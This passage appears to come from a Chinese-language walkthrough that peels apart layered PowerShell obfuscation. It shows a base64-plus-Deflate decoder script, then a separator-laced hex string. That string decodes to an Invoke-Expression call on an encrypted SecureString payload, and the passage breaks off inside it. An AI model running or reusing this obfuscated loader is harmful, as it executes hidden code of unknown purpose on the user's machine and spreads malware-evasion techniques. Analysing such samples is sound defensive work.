XSeveE1ihr9YNzdsxWl0F/bp0x8VrxvvUVS/kursfP4s/vPQQxAezjBVdlv4dvIch+6528H8T9J15jziZF0y63Sxr03zGYvrv9l6mN18qmDd6fwxN5b4TD39zuRFCw8nvxH3Wrxr9a9NXbLZD7JJd7qZ/1OE06qO0KQPLN3+4DkvXbgW+1yGPcz4HOlIqM9R+V36mAtZhLNd5udk5/XsuyH/AcdSus3zPETjn8Vz96TPhvodzrPqxZnpm3iMmp8brM9PvWvY5yvjeeIAjMOjnzO5njjn6zXXTyc/YepgZ98v+jX3O0jfzzrV0sfWdFHP02yaUzz2i+dn6tJIN8/1OOlPup6SdZ6tW2JeLqsnxbwd8pGYryWfE/op82ZX55tUXH/h/04cTPNNgvv43PctXnGzTtfkp2kOkfsoo3l3zXP9nGedeD7qraSffeR95FeoLjPsJNcziX8rnbqsfdzFy7I+jKpI8/wLJx+4Vvr4Xex3y+YDzHkB/cTDL1mvX1RHWFWPkx32PO6uuYfPet3r9avsv+L1a0yNv73T7Th1t3Tb0nYt+xr349e94/WZtmVc/2Nn9y3s10Ed3Je0rcefhzzCDbbo+hWuz+Ftb9tx+Pv16/jYev0ejYTH2h5m5/qK19fgjSxAX6/3cB1va9c73nkvx8Nc73n8xfH67//+X//7f/3zX//02++plRp7yL//9re//d/f/l3/7U///Osf/+Wf/qH99S8x/vV///lf/nq5/el48V//2v783/7TX/6mHO/7u98ut9/+9u8f/+Off/3n/9D+8rf/73jt7//LP/75v/32++/Hh4Tf/vTb3/zDv/xT/I//+L/+9f/8w69/Xv/usv3ddfvL3//P4z2///63/x8="

# 将Base64编码的字符串解码为二进制数据
$binaryData = [System.Convert]::FromBase64String($base64EncodedData)

# 创建内存流并将二进制数据写入其中
$memoryStream = New-Object System.IO.MemoryStream
$memoryStream.Write($binaryData, 0, $binaryData.Length)
$memoryStream.Seek(0, "Begin")

# 创建解压缩流
$deflateStream = New-Object System.IO.Compression.DeflateStream $memoryStream, ([System.IO.Compression.CompressionMode]::Decompress)

# 创建 StreamReader 以从解压缩流中读取文本数据
$streamReader = New-Object System.IO.StreamReader $deflateStream

# 读取解压缩的文本数据
$uncompressedData = $streamReader.ReadToEnd()

# 关闭流
$streamReader.Close()
$deflateStream.Close()
$memoryStream.Close()

# 输出解压缩后的数据
Write-Output $uncompressedData

得到第二轮密文

( '20_2er28:20:28:5b<53&54&52r49:4el67<5d<24r56<65Z52&62&4f_53{45{50<72_65<66Z45r52Z65Z4e:63{45r29l5b<31r2c<33&5dr2b{27{58:27r2d&6a{4fl49<4e<27:27:29_20:28l20&28<5br72:55&4e{74<69l4d<45_2e&49Z4e<54_45_52:6f:50_73&45l52Z76&49_63r65Z53{2e:4d{61&52Z73&68_61&6c:5d{3al3a{50_54<52:74<4f<73Z74_72r69_6e_47{42r73l54l72Z28Z5b_72r75l6e&74:49r6d_65<2e<49Z4er54<65{52Z6f{70r53:65_52:76Z69&43<45:53r2e&6dZ41{52l53Z68l41l6c_5dr3a<3a<73Z65_43&55<52r65&73l54l72r49{6e:47l54Z4fr62<73l54<52:28{20:24:28<27l37l36Z34:39_32_64:31r31r31r36:37l34:33_66Z30Z34<32r33<34l31:33Z62&31{36{30&35r30:61Z35_33Z34Z35_4dl67{42Z38r41Z44_41l41:4dr41Z42:52<41:47r6bl41_63l67l42<32_41_45_45<41_54&77&42Z75&41<48_49:41:4e<67l42:30&41:45{67r41_55<77Z42{78l41&46&41&41Z53_41:42<78Z41&44&67l41{5a<41r41l72<41{48_63{41<50r51&41l39Z41Z48<77<41{4dZ77l41l30r41r44_4d{41Z4el77_42{6d:41<47Z51l41:4el77r41{78l41&47:59&41l4d&67&42Z68:41{44l55l41<59{67{41{33:41Z47r45{41{5al67<41&79_41{44r41<41{4e<41_41l7a:41r44_6b:41&5ar51r41r77<41:47&45_41:5aZ41:41_35{41:44_4dr41r4e&67Z42<69:41<47<49<41:4d:67{41r32<41_44<51<41_4dZ51l41&7al41<44&59<41<5al51<41&30_41{44Z55<41&5a&67{42r68_41{47&49l41l5a<51r42l69:41_47{55:41r4e{41<41l78{41&44r51:41<5aZ67{41<34l41Z44<4dZ41{59&67<41{31_41&47r45Z41r59{51r42Z69:41l44&45r41l4dZ67_41:79r41{44<63l41{4e:51&42_6br41l44_67<41{59{51{41l78{41<44&63r41:4fZ41{42{6bZ41:47_45_41l4d&67<42Z69Z41:47_55Z41Z59r67_41l32<41<47l4dl41&4el51_42:69Z41l44:4d:41&4e_77_42r68_41&47{51{41<59{67Z42l6b{41<44l6bl41:5al67{41_7a{41l47<51r41_59&51{41r7a<41{44:55:41&4dl51{41r33{41&47l49:41l59&67:41&35<41{44Z67_41<4d{77<41<78Z41l47&55_41<4eZ51r42:6d&41Z47{45<41Z4d&51l41Z32r41_44r51_41<5al67<41l34l41<44_45_41r4dr67&42:6b<41&44l45r41&5aZ41l41Z79_41:44{67{41<4d{67r41&34:41{47r51{41<4d_51{42_69&41{47Z55:41&59Z51r41l7ar41{44&67&41&4d_41&42_6al41{44<49:41&59:67:41l30r41<44{63Z41r4er41_42Z69:41_44_4d_41&4e_67l41:77{41&47<55_41&4d{51_41Z34&41_44<45:41_4eZ67Z41Z78Z41_47<49Z41Z4f&41_41r30r41:44&49&41r4f_41&41r32&41l44:59r41&4e:67&42Z6a{41&44:49Z41<59:77_42r68l41&47_4d_41r5a_41{41&31&41{44<59{41Z4dl67l41l33<41{47r45<41<4e{67{41&32<41&44:4dl41_4d{77l41Z35r41r47<49_41&4d<77_42:6dl41Z44Z67{41l5a{41l41l32_41r47l51Z41&4d:77&41:31:41Z44:51{41_4d:77{42:6c&41:47&4d<41<4dZ67{41<30l41Z44&51l41&4el67:41l34:41_44Z51Z41<4fZ51l42<6d<41r44Z67<41:4d{77&42r6a_41:47<51{41:4dr51_41<35_41&47<45Z41l4d_41&42&68:41{44<63Z41&4d{41_42r68Z41<44l59l41<4d<77l41_34<41l44:6bl41<4dl51:41r31r41&47&55Z41<4er41Z41Z77<41{47Z59l41<4e:77&41:7a:41_44{63:41_4f&51{41<35Z41l47r4d{41{4e{51<42:6ar41r47l59<41l4e<41l42_69r41Z44_63:41<59_51{41{33l41{44r4dZ41l59r67:41l35r41:47r55{41<4f{51r42{6a:41l44Z4d{41{59Z77{42:6d_41{44&59<41<59r67r41{33Z41:44l59&41{59_77{41_34_41l44l6br41Z4e{51l41Z33_41&44l4d:41&5al51l42Z68r41{44{45_41<4el77l41:78Z41l47:45_41l4dl41r42l69r41<44<67_41{4d:41_41l78:41{47Z51Z41r5a:41r42<6cl41<44Z55Z41_59:77:41l30l41&44_4d:41&4fZ51Z41:30:41:44<41l41l4e{51Z41:35<41<47{45&41<59&67<41_30:41{47l49Z41_4f_51_41_79<41r47:4d{41&4dZ77l42:6cl41<44{49&41l4dZ77_42r6cZ41l47{55<41l4f&51:41_32l41{47&4d_41:4d{67l42_69&41<44r45{41r59_51&41Z31r41r44<63r41:59l67&42_6cZ41&47&4dZ41r4eZ51_42r6cr41r47Z49&41:4d{67l42:6c:41r44<49&41:4e_41r41l7a<41r44r63_41Z4e_41Z41&34&41r47r59:41{4eZ51&41r30_41r44r6b<41Z4d<41Z41<77:41<44r45:41:4e:67r41l79r41<47&59_41&4d<77l41Z7al41<44{59r41_4eZ67<41Z31<41:44Z45:41r4d_77:42{68r41_44_55r41{4eZ77<42_68<41Z47{4d:41<59<51r41r35&41:47_55:41{4er67_41&30_41r44<49l41&4f_51_41r33{41{44<41r41Z4eZ77:42:69r41&44{67{41_4e{51&41:32_41r47r55:41<5a&51{42:6dr41&44l6b<41Z4dl41r41{7a<41l44&59l41l4f{41:41:30l41:47_51{41&4fl41:42{6b_41_47_45l41r4d{67&41&79_41l44&4d<41_4dl51Z41Z31Z41l44r67Z41{4dZ67Z41_79Z41{47<59l41l4eZ77l42&68{41l44_59<41l59<77r41:34{41&47:45r41Z4dr67<41<31_41&47Z55<41{4e:67&41r79&41r47Z4dr41:4f_51Z42&6dZ41{44Z49:41&4d_51:42<69:41_44r6b<41<4f:51Z41_35&41Z47l45:41&59_67&41{31l41<44{6bl41{4e<51_41{35{41{47l49l41<4fl41&42r6b<41{44l55{41:59:67_41Z31&41Z44{67:41<59&51r41l78:41&44r49Z41&4e<41:42l69{41r44{59<41:4e{51&42<6c_41<44Z49{41&5al41Z42:6aZ41:44l67r41l4d:41Z42:6b_41:44l49Z41{4dr51_42_6d:41<44l6b<41{4f_41&41Z30:41:44&45&41:4d<67Z42Z6a_41<44r51&41{4e&51_42{6b:41:47&4d_41{59_67Z41{30&41<44:67Z41:4d&77Z42&6a<41Z47_59{41{4dl41:41&7aZ41:47{55r41<5aZ67Z41_7a<41Z44r4d&41r4fr51l42<69<41_47Z59<41&4fZ41<41<35&41<44_49&41:5a&41{42_6b_41{44l49_41r4e{77_42:68&41:47_4dl41{4e_67<42<6a{41r47<49_41{4fl51:41r77&41r44:67<41Z4d_67l41&32r41l44:6br41Z4e<41<42{6bZ41<44l67_41:4d<67Z41:31<41r44Z63Z41<4d<77l41r32&41l44Z59l41&59_51l41:30r41&44<59Z41{5aZ41Z41_7a{41&47&45Z41r4d_77Z42<6dr41Z44r4dl41_59Z77r41:78<41<47:55r41<4d&51l41<79:41<44l67<41:4e{67_42_6a{41Z47r51r41{4d:77:41r33r41:44<45{41<4d<41_42<69_41_44{51l41&4dr77&42{69Z41&44_45_41<59l51<41_78{41&44l63{41{5a:67_42&69<41<47:4d{41Z59&77r41&33{41Z47:59_41<5al51<42<69&41{44r49&41&4e<51Z41l34r41l44l45l41:4dZ77l42_6ar41l44l59Z41r4d&67:41&79r41{47&55r41&4e:67r41:33_41l47&45r41<59&77_42_6a:41l47r4d&41:4e&41Z41:30_41<47Z45{41&4e&67Z41<79:41<44l67:41:59{51:42_6bl41{44l55{41:4d&41l41&34r41_47&4d_41r4e&51Z41Z78{41:44{41{41Z4d{77r41_34r41<47{59r41<59r67_41&33_41r44<4d&41_4d{41_42r6d&41{44_59<41_59:51Z41{34{41&44_67Z41{59&67&42l68&41l44r49r41{4dZ51Z42l68r41&44_59Z41:59&67Z41_35l41<44&67{41:4fl51:42l6c<41{47&59:41r4e:41&42<6al41l47l59r41r4e&77l42r6dZ41r47r45_41_4fr41Z41<35<41l44r41:41_4fl51:41Z78r41:44_55&41{4fl51l41:78r41{44r67l41&5ar67&42&6a_41{44{67&41_4f_41r41&33r41:47_4d:41_4f{41_42<6c{41<47<4d{41:4e:67<41{77<41Z44l6br41l4fZ41Z42{6a_41l44:45{41<4el77:41{78l41Z44l59l41&4d&67r41Z7aZ41Z44_45:41:4f<41&41{77r41&44Z41_41r4d_67{41_32{41<44r51r41r4e&51r41&30<41_47Z4d<41<59Z77l42r6c:41&47{55{41Z4el77<42_6d:41&47r49r41r4e_51l41r78<41:47_49r41r4d<67<41<33&41l44<51<41l5aZ67&42<6c_41{47<51Z41r5a_51l41<35r41<47_51{41l4e:41<42Z69Z41Z47r4d&41l59:51{41l34l41r44r49&41r4dr51{41<77r41:47r51Z41Z4d{77Z41<77_41r44_55&41Z4d<77_41&30Z41<44r49l41Z4e_51l41:30_41r47&49_41_4e{77&41&35r41r44r67Z41l4dZ51Z41<78&41&47l49r41{59l77<42&6d_41l44:45{41<4e_51<41_77l41l44<67{41&59<77:41&77:41&44l59&41l4f:51l41&34<41<44<6b_41{4d<67r42{6d_41Z47_55l41{4fr41{41_79r41{44<6bl41&4e&51:42<69&41:47{49&41&4d{41{42r69l41r44l59{41_5a<67l41Z7a{41:47{55l41_59<77{41{34:41&47:51:41{4d<67{42:6c{41Z44r49Z41_59l77Z41:79r41&44&55&41_4d&77_41<7a&41l44_55&41l4d{41{41r35&41Z44Z45_41r4e_41r42_6d_41r47{4d:41&4e{77<41r30<41:44l55_41:59_51:42Z68_41&44&41:41{59<51_41l32{41Z44<45Z41r59Z51{41_79&41l44_45r41<4dr77&42<6d{41_47:55r41Z5a<41_41_35{41_44&67{41&5a{67<42&6br41l44{4d<41{4e{41l41Z79:41Z47_45<41:4d_77r42r6c:41&44&51Z41l59l77_42<6a<41_44l49<41{4f{41&42l6d_41<47:59Z41r5a:51Z42l6c<41&47_55:41r4eZ77{41:78Z41<44l63r41_4d&41l42l6b:41Z47&55_41Z4f&41Z41:78r41&44<55&41&4e_51Z42Z6cl41Z44r59<41:4eZ41&41Z34_41:47{4dZ41_59r51{42<6cl41{47Z4dZ41l4er67l42_69_41{44Z67_41r4d&67r41l34<41:44{49<41Z4e:41_42&6c{41Z44:6b:41{4d_77&42<68<41_44Z6b<41r59l51&41&34l41r47<59l41l4d{41r42&6cl41Z44r59Z41:4e{77Z41_78&41:44<51l41<5ar51:41_78r41l44{59Z41l5a:41_41_30l41<44_6bZ41{59l51Z42Z6cr41l44{55{41{59Z51r41{33Z41_47<51_41&4d<51r42:6d_41<44_6b_41&4f<41:41<35{41&44&67{41_59Z77<41_77l41r44_45Z41:5a_67<42Z68Z41:44Z41:41:5al67:41_31_41:47_55r41{4eZ77<41Z31_41_44:67:41Z59:51l42<6d&41&44_59<41:4e_51l42_69r41<44&6b<41:4fr51&41&79<41:47Z45l41{4e{77r41Z31l41:47<49&41_59_77Z42r6b<41:44:6br41:4f_51l42_6b_41r47r59{41_59r51<41Z35r41l44{45_41&5a<51{42r6dl41_44Z49&41:4d<51Z42{6al41l44<4d:41l4d:77l41:77_41:47&51_41_4eZ67r42_6d&41r44:4d<41<59:67l41&35&41_44{6bZ41&4d_41r42&6c<41&44_4d_41Z59{77_41:30_41{44&49{41r5a{41_41:34_41&44&59<41<4eZ77r41_79Z41{44l6b&41r4f{51:42Z6d_41<47&49_41<4e&67_41:33<41:47:59Z41<4dZ67{41r79Z41{47r55:41&59:51_42&6b:41_47<4d:41r4d_41Z41Z30Z41l44r49r41<59{77<41&7aZ41_44Z6bZ41l59Z77l41{78<41:47:49<41l5a{51&42<68&41l47&59r41Z5ar51&41{31l41{44_55{41&4f&51&41r7ar41_44Z4d:41<5a&41:41l34:41<44{41{41<5a<67l41:79:41r44<4d_41{4fr51&41_78{41:44l41r41:4d<51l42_69l41l47:55l41l4e&41Z41<31_41Z44<63&41Z4e&51{41&32Z41l47_4d{41l5a&51r41:32l41&44r6b_41&4d&41{41Z33:41{47&4dZ41&4e_41Z41l34:41:44_6br41Z4e<77_41<7aZ41Z47:51:41Z4d_51{41<32&41&44Z59r41&4dl41Z41<79l41<47l51l41&4fl51<41:77<41l47r59_41l5ar41Z41l7aZ41l47r49_41r4d&51&41_35l41Z44{55{41Z5al67{42:69r41Z44Z67r41l4d:67&41_78{41_47r51Z41<4fr41r42l6dr41<44Z49r41{4dl77r42<6c&41&44{45{41l4f:51<41<33{41&44Z67:41Z5a:67_42{6cr41&47Z55Z41r59&77Z41{33l41<44Z41_41{4e&41l41:7a<41<44r45&41r4e_41r42:69_41_44:6bZ41{5a<41_41r79_41<44<41:41:5a<51r41_77:41l44l51<41Z4er77r42:6d:41<47{45_41_5a<41_42_6cZ41:47l45_41r4e<67l41:78r41<44{41&41<5aZ67_41<78Z41<44<55_41l4dr41r41_35Z41<44<55:41_5a_51&41l7a<41:44Z41Z41r4dZ51_42&6d{41r44Z45{41&4d<51l41r78_41_44Z6b&41<4d_77r42<6a<41:44<59{41l4e{67_41<31Z41Z47Z51{41<4d_51&42:6c&41<47_45r41&4er51_41Z78&41:44{63Z41l4d{67l41<78r41r44Z59&41Z4e{51_41Z35&41&44_41<41{4dl67{41{78r41<47r59&41:4dZ51r41:78<41r47_45&41:4dr51r42_6al41Z44Z4dl41{4el67l42:6a{41:47r55l41&4e<41_41Z77_41l44<6bl41_4d:51&41r30:41:44<41l41{4d_51:41_33r41:44<51:41Z4f{51<41<78l41{44<45Z41Z59_51_42&6cl41l44l51&41_4f&41:42<68:41<47{51:41{5a:41&41:79Z41l47&59{41_4fr51{41l7a:41r44r4d{41&59{51_42_68:41<47_49:41{4e&77l42_69<41r44{63l41:4el77Z41l30l41{47&51l41{4dl67l41:35_41{44{6bl41Z5ar67r42<6d_41&47:55Z41l4f_51<42_6c&41Z44_59_41&4eZ41&41_31:41&44l6b{41r59{77l41l78l41:47l55r41{4e_77<41_32l41_44l63<41r4d<41:41:7a<41_47<45{41Z4f{41r41&77<41{44_51:41:4e_77Z41&79&41&44_67l41{4dr51:42:68<41r44_63r41l59_51Z41{78Z41{47_49Z41&4f{41&42&68:41<44_45{41_4d<67{42r6aZ41&47l55r41:4er51Z41l33r41l44Z49Z41&59:77{41{35r41:44:4d{41<59Z51<41r31{41_44<49l41<5ar51:42r6cZ41l44&45Z41{59_67Z41<32&41<44:63<41_4dr77{41&33r41_47<55{41r5a:51l42<68r41:47l49:41:4dZ41<42:6cr41_47:49{41&4el41r41{33<41l44l45_41Z59Z67_42:69r41:44:49_41_4fl41{42_6c:41Z44r49Z41{4fl41&41l31&41Z44<59:41:5a&41Z42_6dr41&47l51:41:4e&51_42Z6d_41&44<55:41_4dZ67{41<35Z41{44&41&41<5al41Z41&77<41<44{6b_41Z5a&41_41Z33<41_47Z59r41{4dZ67Z41Z33:41r44r67Z41<5a{67Z41Z34:41r47_4d{41&5a<67&42&69_41r44:41&41:5a<51Z41{7aZ41:47l55l41Z4fr41<41<34_41Z44{55_41&4dr67<41&79<41:44&41<41&4e&51Z41&77r41:47r51{41l5aZ51&41<79l41_44Z6b<41l5ar41_41_33l41&47:59<41{4d&67{42Z6al41r44:51r41&5a<41l41_79{41l44l6b{41r5a_51:42:69<41_47r45l41r4e_51&41Z35l41_44_55_41:4e:51&41&32:41_47l45r41{4dl67:41Z30l41:44_51:41Z4d_77l41_78_41l47_49&41Z5ar41{42<6b&41Z44&45_41<5a_51r41{35{41:47r49l41r4e_67r41l78l41<44_67Z41Z4d<41&42{69{41<47r49r41<59_77_41_79l41{44:67<41Z4er41<41:77Z41<47<45_41Z5a_67&42<6b{41r44&45{41Z4dl51Z41<30&41&44&4d{41&59r67<41Z78_41{44r4d{41_5a_41&41Z32_41:47:59:41:4e{77l42{6br41<44_51l41_4e&41:42:6br41&44{41:41r4eZ41:42Z6bl41&44{6b:41r59&77r41Z77Z41<44{4dZ41:4er77Z41_79:41_44:6b_41{5a:41_41:32l41l44r41<41&4f:51l41:78r41Z44l45<41_4d_77{42_69{41{47:45&41Z4f:41_42{6d{41{44l41l41:4dZ67r41:30l41:44l59Z41_5a&67r42_6b:41<44r59Z41<5a{67r42<6dZ41r44_45&41:4er67:42&69_41{47:59&41r4d<67:41:7a:41_44r41_41_4eZ51l42{68Z41<47{49r41_4d_67&41r79Z41Z47Z55{41:4e_41Z42:6a{41l44<4d_41l5a_51{41l32l41r44l59:41r4d&41{41:35_41&44&41:41_5a:67_42:6aZ41l44r4dr41Z4e<67_41r35r41{44l59Z41l4d{77:41l77l41{47Z45Z41Z4el51l41{32_41r44&55:41l59r51_42r6c_41&47Z51Z41:4e&67_41r32r41<44:67:41<5a&41<42r6bZ41l44Z45<41:59{51&42{6al41{44_59r41_4eZ67&41r79l41&44r4d:41{59{77:41l77_41_44:6bZ41Z5al67_42{69l41:44_51<41r59Z67<41Z77&41&44<6b:41l4e<77&41r79<41l47r49:41<4er67<42l6a{41r44_51:41Z4e{41r42_6d_41l44r6b{41&4d<41_41_7a_41&44_59l41Z5a<67_42&6dZ41Z44:55&41Z4f&41:41_30&41{44<41:41<4dl67_41_31_41:44&59:41r4f:51{41:7al41&47&45Z41l5a{67Z41&30l41Z47{49_41_4d<77Z41_32l41Z44r45&41:4e:77r42l6bl41<47_49:41<4e&51:41&35r41Z44{45:41{4eZ77<42Z6ar41{47&45Z41l4e<67_41:32Z41{44r6b{41{4e{77l41r30&41&44_55<41l4d{77:42:6c&41_44:49{41&4dZ51&41<35_41:44:63{41Z59_77_41Z77Z41r44:45_41l4er41<41_34l41Z44{51r41l5a{41{41l78:41_44l49l41Z4fl41Z41Z32r41r44&55:41{4d{41&41r79l41:47&55<41l4e<51l42l69Z41{47<55r41<4d<67l41{31r41r47:51<41{59{77_41_33r41:47r51{41_59_67<41Z35r41:47:51<41{5ar41{41<79Z41l44&67Z41<4fr51r42<6a:41Z44:45r41_4dr51Z41{35:41<44_45<41{4e_51&41{79{41{47_4d{41{59{77{41r33Z41Z44:67l41l5a{67l42&6d{41:47Z45<41r4e{41:42{6dr41:44_4d{41_4dr41Z41&35l41_44&6b<41_5aZ41l41r78r41{44{67r41_4f&41&42:6c<41Z47<59{41_4d{51_41{31<41&44{41:41<4eZ41r41l31&41<44Z59&41r5a:41l41r31&41Z47{55:41_4d<77r41&33:41r44:55Z41r4er77:42r6aZ41&44&45r41{5al67:41l77Z41Z44Z55l41:4d:41r41_33<41<47{59_41r5a{41:41<35<41r44&49r41<4dl51&42l6c:41r47Z59Z41_5a{41<42Z68<41_44_6b{41<4d{51Z41{31&41&44:67{41{5a_67<42Z6a{41r47l45&41{4e<77l41{77Z41{47&4d_41Z5a:41&42:68<41{47l51l41:5al67{41&77l41&44l45<41l4e:51_41l33:41<44<63&41_59&51&41r30r41r44<63{41&4f&41&41<7a:41r47r49{41<4er77{42Z6al41l47Z55<41&5ar41r41:30r41&44_45Z41_5a<41{41<30&41<44&4d{41r4d_41:42&6d<41l44:67r41l4d_41Z41l31&41r47:51Z41r5a<51:41Z34<41<44l63Z41Z4f_51{41&30&41_44Z49_41<4d<41:41r78{41<44{59<41&4f&41_41<34Z41<44&55l41{59:51&42_6cr41Z44Z45_41:5ar41&42_68_41{47<59_41{4e<77&42:6bl41r44{45<41Z4e{77:41&31r41<44l59r41_4er41:42l68r41:44Z41_41r5a_41:41r79:41&44<59l41:4d{67r41_78r41:44&55l41&4f:51<41r31<41{44{59Z41l4f_41&41:35_41{47&4d:41{5al41Z41l33_41{44<4d&41r4dl51Z42Z6b_41:44<4dr41l4d:77:42Z68<41_44l49:41r4d{67l41{78&41&44<67:41_59l67<41{33&41l44_45Z41:5aZ67Z41<79Z41Z47<55{41&4d_41l41{7a&41_47:49Z41Z5a_51<41<34Z41<44:49Z41r59r77&42l6a<41r44&59<41l59l51_41Z30:41<44:67Z41{59{51{41<77Z41_47<51{41r4er51&41:30_41Z44:41{41<59r51l41r30l41:47<51Z41r4dr67<41&34l41_44l59:41:4fr51r42<6d<41&44&49&41:4e_41r41Z7a{41&44<51Z41<4dZ41{41{32_41&47:49:41r4e:41<41<31<41Z47r51:41{4eZ67:41:31:41<44<49<41l4eZ67:42<69:41{44{51r41&5a_51Z41<7a{41l47l55r41:59Z51&42r6c&41_44{55:41r5a_51{41Z7a:41r47r55:41:59l51:41&32_41l44{63l41Z59{51&41&34&41l44l45<41_4er77_41:79:41&44<51{41r5a{41r41{32:41{44:51l41r59:51:42<6c&41l44_4dr41l5a:51{41Z31:41:44&59{41Z4f:51{42r6a{41{44<55_41:4el77{41l32r41r47l4d<41&4e:77_42:6dZ41_44&4d&41l4d_41_41_78r41r47:45<41Z4d:41_41&79l41<44r55l41r5al41r41<79Z41:47{4dr41r4d:67Z41Z35<41_47:4d:41{5al67&41&35Z41l44&41&41l5aZ67r41:32l41&44Z45l41<4d:41Z41Z31_41l47{4dZ41_4f:41&41:35{41l47l4d{41r5a&67:42&69_41l47&49l41l4d<41:41&33&41{44Z51{41&5a&67Z41{77_41:44_6b{41{5a&67:42{6bZ41_47{49r41l4er77Z42<68l41r47r49:41<4e:67l42{69_41:44:55r41r4d<77<41:77Z41Z44&4d{41_4d{77<42<6al41r47l51l41{59l77l42Z6br41Z44r55r41Z4dl51l41l31<41Z44<63l41<5a{67{42r69r41<44Z55&41:4e_41<41<34{41l44l55Z41:4d{67r42<6cZ41Z47Z45_41l59r67<41_34:41r47Z45_41&4e&77r41Z79{41&47_55_41_4e_77r42_68l41<47Z4d<41:4d&67l42Z68{41r47&59_41Z4er41r41<7ar41<44&45r41<4d&67{42l6d&41:44&55&41Z59&67&41r79<41l44l51_41Z4dZ77<42&6a<41&44<4dZ41&59_77Z41:34Z41Z47:51l41_4el67:41_78Z41:44_51<41:5a:51&42l6c{41Z44Z49<41{5a{41_42<69_41:44r6b{41&4e{51:41&77&41r44&45&41Z59{67&41l31r41:44{51r41r4fZ51{42&68&41Z44:51_41l4e&51l42<68&41r44l51:41_4d&77Z42<69_41r44{49&41<4d{51<42_6b&41_44r59_41Z4el67&42Z6dl41_47{49&41{59r51&41<78{41:44:63:41&4fr41l41{77<41r44&49:41{59l67<41l77<41l44<45_41_4e{51&41r34{41{44:55l41{4f_51Z41{34l41&44<59Z41l4e{77l41{77Z41_44<6bl41l4f<41:41{33&41<47{45l41Z4dr41Z41<31&41r44{55_41{4f:51{42l6b{41Z44{45:41l4e<41_42r69l41r47l4d<41l4d&51_41l33:41_47&59:41Z59Z77Z41{35<41:47l59{41&4e:67<41_33Z41_44l49l41Z59l67&42Z6d&41{44_45l41{59l77r41r30Z41&44r55r41_4d<41&42Z6c&41Z47l51Z41<59Z77&42_6bl41<44_59:41Z5a_41_41_30:41:47&59:41<4er67_41_30:41:47:55Z41_4d:67&41&32<41{47:49r41{59Z67Z41Z30<41:44{4dl41&4e:41:41_77&41:44Z67:41l4e_67_41l34<41&44<45_41_59{77{41r35:41&44<6bl41&4e{41:41r31l41_47{4d{41_4d:51{41r30&41r47r55l41{5a_41_41:32&41{44{55Z41l5a<67Z41r77&41:44{4d<41:4d{51<41&33_41{47{51l41l4fZ51{42<6dr41r44<49<41<4f_41:41&77l41&44:51_41&4eZ41&41_77Z41_44l55_41Z4e{41:41r32:41l44_49r41<59Z77<42Z6cr41r44{41&41_4fl41{42l6aZ41{44r59&41{4d_77:41<31_41<44{6bl41{4d:41Z41<30:41&47Z4d_41{59r67_41&77_41Z44:41<41Z4e<67:42:6c&41<47{59<41<4dl41r41Z33Z41<44&49&41<4f&41:41r35l41_47<45Z41l4er67<41:7al41_47_4d:41l4dr77l41l31<41:44&45:41{5ar51&42:6al41Z47Z45&41&4el51{42r68Z41_44{55{41_4e&67_41{30&41{44&55:41r5a:51l42<6aZ41:44Z59_41&5al41<42{6c:41:47{55:41_4f_51<41<33:41{47_49&41<4e<51&42r68_41Z47r51<41_59:77:41Z30Z41{47r55:41_5a&51<42{6a:41&44_59:41r4fl51Z42<69_41&47l49_41{4d<41_41l7a{41_47:45:41_59_67<41<33r41Z44<51_41r4f<41&41&79Z41:47_45l41Z4e&67<42Z6c:41<44Z51<41r4e<51r42:6b<41Z44&67l41&4fZ41{42{6br41r44{59l41<4d<51:42r6b{41Z44:6b&41l4fZ41Z41l78_41l44{59<41{59l51{41{79{41l44:67{41{5a<51Z41<30:41{47:45Z41{4fZ41r42:6d&41{47r45&41:4dr41_42{6dl41_44_45l41_4e_67r41{30:41r47l4d&41l4d_41r41&77Z41:44l63&41<59l67&42Z6bl41l44&49r41:4e_67r42{6br41r47r59r41&4e_77&42Z6d{41r44<45Z41l4er77<41:34r41r47{4d_41<4d{67l41_7aZ41_47<4d&41:5a&67:41r78&41Z44<6b&41r4eZ41&42r6bl41<44:51:41:4eZ67Z41Z33{41<44<4d&41<4d{41{42l6a{41&44_59r41l59r67_41Z79:41_47{59l41<4e:51r41<77r41r47_55<41:59{77{41<30&41l47:51:41&4er77Z42&6a{41<44Z45<41{4d_67r41_35:41Z44_63l41<4d_67_41_34r41_47&55r41r5a:51r42Z6b{41l47:4d_41r4dl41&41:7ar41:47l59<41<4e_67l41r77Z41r44&51&41<4e_67{42_6dZ41:47_4d<41{4el51<41_33<41l44&59l41&4e&67<41Z32Z41Z47Z51&41l5a<41Z42r6b<41_44<63&41_4e:77Z41&35Z41r44&55:41{59<77<42r6d<41Z44_4dr41l4d<51l41Z35_41&47_4d:41l4d_77{41&35&41&44{49_41:4dr41&42Z6dr41:44Z63{41{4d<77_42Z6b<41&47:51Z41<5a:67{42_69:41{47:4d&41&4dr51_41:78&41&47{45{41_59r51{41_77r41_44r49:41{4f:51<41:32_41Z44<67_41&59Z77l41Z78r41<44:49l41Z5a&51r41{32&41Z44:6b&41&59:77l42Z6d_41<44_45<41r4d:67Z42<6a{41_44Z6br41_4el77{42Z6d_41_47r4dl41{4f_41l41<33Z41{44{45<41&5al67&41{32_41{47r45r41r4d_41Z42Z6c_41_47_4d{41{4fl41<41&35{41<44:6b_41_4er51&42:69:41r44r49r41Z4fl51&41:32l41&44l67l41&4d&67l41&30l41:44&59_41r4e&77l42{68l41_44{51_41_5a<41Z41_79&41:44Z51_41l59&67:42_69<41&44:51r41&4d{41r41_35_41{44{6b{41l59<77Z42:68{41&44<41{41l4er51r42r68{41&44l41l41r4er51&41{7a&41<44&49l41<4e_51<41_34&41Z47Z59<41<5a<67&41r35Z41Z47_45_41<4e<67_41Z30r41<47<49<41:59_77&41_78_41_44Z4dZ41<4el77<41{31{41:44r6br41r4d{51<41Z78:41<44Z55{41l4dZ41Z41{7al41<44<49{41<4d&51:42Z69Z41:47&49_41{4d<67{41{78_41Z47r59{41Z4d<77<41l30r41r47<45Z41{4dZ51l41Z33{41{44<67_41r5ar51&42{69l41Z44:45:41r5a{67<42{6b_41{47l55l41<5a&67l41:78<41<44_4d_41_4d&77{41&34Z41_44Z4d&41&4er67r41&78:41Z44&49_41_4eZ67<41<7a:41&47_4d_41_4dZ41{41_31l41{44r49Z41&4fl41_41l30&41r44r45l41{4el41{41&31_41&44Z6bZ41l4er77Z41&34l41r44&6b{41&4dl67<42r6d_41r44{4d:41{4d&67l41{7a_41r47_49r41&4dZ77:42_6c{41l44l63l41:5al51Z41&77{41l47{45:41l59l67l41<35{41&44l41<41{5a_67{41&31&41:44_55&41Z5aZ51{41{30<41{47<49{41<4er67r42<6d{41l47_4d<41:5a&67{42{6d{41Z44Z41l41Z5al67r42_6c{41<44:67l41:59_67Z41<78<41_47{45<41:4el51r42{6b:41Z44:4d_4